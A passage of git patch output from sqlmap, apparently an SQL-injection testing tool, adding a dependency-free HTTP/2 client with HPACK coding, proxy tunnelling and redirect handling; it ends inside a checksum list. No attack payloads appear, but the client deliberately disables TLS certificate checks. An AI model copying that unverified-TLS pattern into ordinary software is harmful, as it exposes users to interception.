"sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 40c42390b..a14309fa8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed -from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 @@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT -from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -632,30 +630,22 @@ class Connect(object): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) if conf.http2: - try: - import httpx - except ImportError: - raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + from lib.request.http2 import open_url as http2OpenUrl - if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): - raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) + h2proxy = None + if conf.proxy: + _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) + if (_proxyParts.scheme or "").lower().startswith("socks"): + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) try: - proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None - with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: - conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) - except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: - if conn.status_code >= 400: - raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read())) - - conn.code = conn.status_code - conn.msg = conn.reason_phrase - conn.info = lambda c=conn: c.headers - - conn._read_buffer = conn.read() - conn._read_offset = 0 + if conn.code >= 400: + raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) @@ -663,18 +653,6 @@ class Connect(object): threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - def _read(count=None): - offset = conn._read_offset - if count is None: - result = conn._read_buffer[offset:] - conn._read_offset = len(conn._read_buffer) - else: - result = conn._read_buffer[offset: offset + count] - conn._read_offset += len(result) - return result - - conn.read = _read else: if not multipart: threadData.lastRequestMsg = requestMsg diff --git a/lib/request/http2.py b/lib/request/http2.py new file mode 100644 index 000000000..2af00c69e --- /dev/null +++ b/lib/request/http2.py @@ -0,0 +1,544 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional +# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical +# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client +# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x. + +import base64 +import socket +import ssl +import struct + +try: + from http.client import responses as _HTTP_RESPONSES +except ImportError: + from httplib import responses as _HTTP_RESPONSES + +try: + from urllib.parse import urljoin, urlsplit +except ImportError: + from urlparse import urljoin, urlsplit + +from email.message import Message as _Message + +REDIRECT_CODES = (301, 302, 303, 307, 308) + + +HUFFMAN_CODES = [ + 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, + 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, + 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, + 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, + 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, + 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, + 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, + 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, + 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, + 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, + 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, + 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, + 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, + 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, + 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, + 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, + 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, + 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, + 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, + 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, + 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, + 0x3fffffff +] + + +HUFFMAN_LENGTHS = [ + 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, + 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd, + 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7, + 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, + 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6, + 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb, + 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18, + 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16, + 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16, + 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16, + 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b, + 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16, + 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b, + 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e +] + + +STATIC_TABLE = ( + (b':authority', b''), + (b':method', b'GET'), + (b':method', b'POST'), + (b':path', b'/'), + (b':path', b'/index.html'), + (b':scheme', b'http'), + (b':scheme', b'https'), + (b':status', b'200'), + (b':status', b'204'), + (b':status', b'206'), + (b':status', b'304'), + (b':status', b'400'), + (b':status', b'404'), + (b':status', b'500'), + (b'accept-charset', b''), + (b'accept-encoding', b'gzip, deflate'), + (b'accept-language', b''), + (b'accept-ranges', b''), + (b'accept', b''), + (b'access-control-allow-origin', b''), + (b'age', b''), + (b'allow', b''), + (b'authorization', b''), + (b'cache-control', b''), + (b'content-disposition', b''), + (b'content-encoding', b''), + (b'content-language', b''), + (b'content-length', b''), + (b'content-location', b''), + (b'content-range', b''), + (b'content-type', b''), + (b'cookie', b''), + (b'date', b''), + (b'etag', b''), + (b'expect', b''), + (b'expires', b''), + (b'from', b''), + (b'host', b''), + (b'if-match', b''), + (b'if-modified-since', b''), + (b'if-none-match', b''), + (b'if-range', b''), + (b'if-unmodified-since', b''), + (b'last-modified', b''), + (b'link', b''), + (b'location', b''), + (b'max-forwards', b''), + (b'proxy-authenticate', b''), + (b'proxy-authorization', b''), + (b'range', b''), + (b'referer', b''), + (b'refresh', b''), + (b'retry-after', b''), + (b'server', b''), + (b'set-cookie', b''), + (b'strict-transport-security', b''), + (b'transfer-encoding', b''), + (b'user-agent', b''), + (b'vary', b''), + (b'via', b''), + (b'www-authenticate', b''), +) +STATIC_LEN = len(STATIC_TABLE) + + +# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. + +# frame types (RFC 7540 s6) +DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9 +# flags +FLAG_END_STREAM = 0x1 +FLAG_ACK = 0x1 +FLAG_END_HEADERS = 0x4 +FLAG_PADDED = 0x8 +FLAG_PRIORITY = 0x20 + +CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +def encode_frame(ftype, flags, stream_id, payload=b""): + if len(payload) > 0xffffff: + raise ValueError("frame payload exceeds 24-bit length") + header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) + header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31) + return header + payload + +def decode_frame_header(nine): + if len(nine) != 9: + raise ValueError("frame header must be exactly 9 bytes") + length = struct.unpack("!I", b"\x00" + nine[:3])[0] + ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9]) + return length, ftype, flags, stream_id & 0x7fffffff + +# ---------- Huffman ---------- +def huffman_encode(data): + if not data: + return b"" + acc = 0 + nbits = 0 + for b in bytearray(data): + acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b] + nbits += HUFFMAN_LENGTHS[b] + pad = (8 - nbits % 8) % 8 + acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix) + total = (nbits + pad) // 8 + out = bytearray() + for i in range(total - 1, -1, -1): + out.append((acc >> (8 * i)) & 0xff) + return bytes(out) + +_HUFF_ROOT = {} +def _build_huffman_trie(): + for sym in range(256): + code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym] + node = _HUFF_ROOT + for i in range(length - 1, -1, -1): + bit = (code >> i) & 1 + if i == 0: + node[bit] = sym # leaf: int symbol + else: + node = node.setdefault(bit, {}) +_build_huffman_trie() + +def huffman_decode(data): + out = bytearray() + node = _HUFF_ROOT + consumed = 0 # bits into the current (partial) symbol + for byte in bytearray(data): + for i in range(7, -1, -1): + bit = (byte >> i) & 1 + nxt = node.get(bit) + if nxt is None: + raise ValueError("invalid Huffman sequence") + consumed += 1 + if isinstance(nxt, dict): + node = nxt + else: + out.append(nxt) + node = _HUFF_ROOT + consumed = 0 + # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8 + if node is not _HUFF_ROOT: + if consumed >= 8: + raise ValueError("Huffman padding too long") + # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches + # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it + return bytes(out) + +# ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- +def encode_integer(value, prefix_bits, first_byte=0): + mask = (1 << prefix_bits) - 1 + if value < mask: + return bytearray([first_byte | value]) + out = bytearray([first_byte | mask]) + value -= mask + while value >= 0x80: + out.append((value & 0x7f) | 0x80) + value >>= 7 + out.append(value) + return out + +def decode_integer(data, pos, prefix_bits): + mask = (1 << prefix_bits) - 1 + value = data[pos] & mask + pos += 1 + if value < mask: + return value, pos + shift = 0 + while True: + b = data[pos] + pos += 1 + value += (b & 0x7f) << shift + shift += 7 + if not (b & 0x80): + break + return value, pos + +def encode_string(value, huffman=True): + if huffman: + encoded = huffman_encode(value) + if len(encoded) < len(value): # only use Huffman when it actually shrinks + return encode_integer(len(encoded), 7, 0x80) + encoded + return encode_integer(len(value), 7, 0x00) + bytearray(value) + +def decode_string(data, pos): + huffman = bool(data[pos] & 0x80) + length, pos = decode_integer(data, pos, 7) + raw = bytes(data[pos:pos + length]) + pos += length + return (huffman_decode(raw) if huffman else raw), pos + +# ---------- dynamic table + decoder/encoder ---------- +class Decoder(object): + def __init__(self, max_size=4096): + self.max_size = max_size + self.dynamic = [] # newest first: [(name, value), ...] + self._size = 0 + + def _entry_size(self, name, value): + return 32 + len(name) + len(value) + + def _add(self, name, value): + self.dynamic.insert(0, (name, value)) + self._size += self._entry_size(name, value) + self._evict() + + def _evict(self): + while self._size > self.max_size and self.dynamic: + name, value = self.dynamic.pop() + self._size -= self._entry_size(name, value) + + def _get(self, index): + if index <= 0: + raise ValueError("invalid header index 0") + if index <= STATIC_LEN: + return STATIC_TABLE[index - 1] + index -= STATIC_LEN + 1 + if index >= len(self.dynamic): + raise ValueError("dynamic index out of range") + return self.dynamic[index] + + def decode(self, data): + data = bytearray(data) + pos = 0 + headers = [] + n = len(data) + while pos < n: + byte = data[pos] + if byte & 0x80: # 6.1 indexed + index, pos = decode_integer(data, pos, 7) + headers.append(self._get(index)) + elif byte & 0x40: # 6.2.1 literal + incremental indexing + index, pos = decode_integer(data, pos, 6) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + self._add(name, value) + headers.append((name, value)) + elif byte & 0x20: # 6.3 dynamic table size update + new_size, pos = decode_integer(data, pos, 5) + self.max_size = new_size + self._evict() + else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix) + index, pos = decode_integer(data, pos, 4) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + headers.append((name, value)) + return headers + +class Encoder(object): + # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings. + # (Correctness-critical decoding is the hard part; a server accepts this trivially.) + def encode(self, headers): + out = bytearray() + for name, value in headers: + out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name + out += encode_string(name) + out += encode_string(value) + return bytes(out) + +SETTINGS_INITIAL_WINDOW_SIZE = 0x4 +BIG_WINDOW = (1 << 31) - 1 + +def _recv_exact(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise IOError("connection closed by peer") + buf += chunk + return buf + +def _read_frame(sock): + length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9)) + return ftype, flags, sid, (_recv_exact(sock, length) if length else b"") + +def _tob(x): + return x if isinstance(x, bytes) else x.encode("latin-1") + +def _connect_socket(host, port, proxy, timeout): + # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies + # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a + # (proxy_host, proxy_port, "user:pass"-or-None) tuple. + if not proxy: + return socket.create_connection((host, port), timeout=timeout) + + proxy_host, proxy_port, proxy_cred = proxy + raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout) + try: + request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port) + if proxy_cred: + token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii") + request += "Proxy-Authorization: Basic %s\r\n" % token + request += "\r\n" + raw.sendall(request.encode("latin-1")) + + response = b"" + while b"\r\n\r\n" not in response: + chunk = raw.recv(4096) + if not chunk: + raise IOError("proxy closed the connection during CONNECT") + response += chunk + if len(response) > 65536: + raise IOError("oversized proxy CONNECT response") + + status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace") + fields = status_line.split(None, 2) + code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0 + if not (200 <= code < 300): + raise IOError("proxy CONNECT failed: %s" % status_line) + return raw + except Exception: + try: + raw.close() + except Exception: + pass + raise + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + authority = authority or host + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) + sock.settimeout(timeout) + + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + sock.sendall(CONNECTION_PREFACE) + sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + + req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))] + for k, v in (headers or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + hblock = Encoder().encode(req) + sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock)) + if body: + sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body))) + + dec = Decoder() + header_block, resp_headers, resp_body, done = b"", None, bytearray(), False + while not done: + ftype, flags, sid, payload = _read_frame(sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + done = True + elif ftype == RST_STREAM and sid == 1: + raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) + elif ftype in (HEADERS, CONTINUATION) and sid == 1: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + header_block += p + if flags & FLAG_END_HEADERS: + resp_headers = dec.decode(header_block) + if flags & FLAG_END_STREAM: + done = True + elif ftype == DATA and sid == 1: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + resp_body += p + if payload: # replenish stream + connection windows + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM: + done = True + status = None + for n, v in (resp_headers or []): + if _tob(n) == b":status": + status = int(v) + break + return status, resp_headers, bytes(resp_body) + finally: + try: sock.close() + except Exception: pass + + +class H2Response(object): + """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + + def __init__(self, url, status, headers, body): + self.url = url + self.code = self.status = status + self.msg = _HTTP_RESPONSES.get(status, "") + self.http_version = "HTTP/2.0" + self._body = body + self._offset = 0 + self._info = _Message() + for name, value in (headers or []): + name = name.decode("latin-1") if isinstance(name, bytes) else name + value = value.decode("latin-1") if isinstance(value, bytes) else value + if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.) + self._info[name] = value + # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object + # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a + # bare Message falls back to integer indexing) + self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()] + + def info(self): + return self._info + + def geturl(self): + return self.url + + def read(self, amt=None): + if amt is None: + data = self._body[self._offset:] + self._offset = len(self._body) + else: + data = self._body[self._offset:self._offset + amt] + self._offset += len(data) + return data + + def close(self): + pass + + +def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None): + """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the + previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or + ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped.""" + forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length") + req_headers = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in forbidden: + req_headers[key] = headers[key] + + for _ in range(max_redirects + 1): + parts = urlsplit(url) + if parts.scheme != "https": + raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, + authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + if follow_redirects and status in REDIRECT_CODES: + location = None + for name, value in (resp_headers or []): + if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location": + location = value.decode("latin-1") if isinstance(value, bytes) else value + break + if location: + url = urljoin(url, location) + if status in (301, 302, 303): # per RFC 7231, these degrade to GET + method, body = "GET", None + continue + return H2Response(url, status, resp_headers, resp_body) + + raise IOError("too many HTTP/2 redirects") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 51a9a23ea..ce61a7344 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -94,16 +94,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-ntlm') - try: - __import__("httpx") - debugMsg = "'httpx[http2]' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'httpx[http2]' third-party library " - warnMsg += "if you plan to use HTTP version 2" - logger.warning(warnMsg) - missing_libraries.add('httpx[http2]') - try: __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" From 3e7d064cc9252be6809d0ea53e593594a732931b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 14:59:34 +0200 Subject: [PATCH 111/165] Adding some more tests --- data/txt/sha256sums.txt | 12 ++++---- extra/vulnserver/vulnserver.py | 52 ++++++++++++++++++++++++++++++++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 43 ++++++++++++++++++++++------ lib/parse/cmdline.py | 5 +++- sqlmap.py | 5 +++- 7 files changed, 102 insertions(+), 18 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 68ae7e13f..956c8865d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py +9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py +4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py 98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py +61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 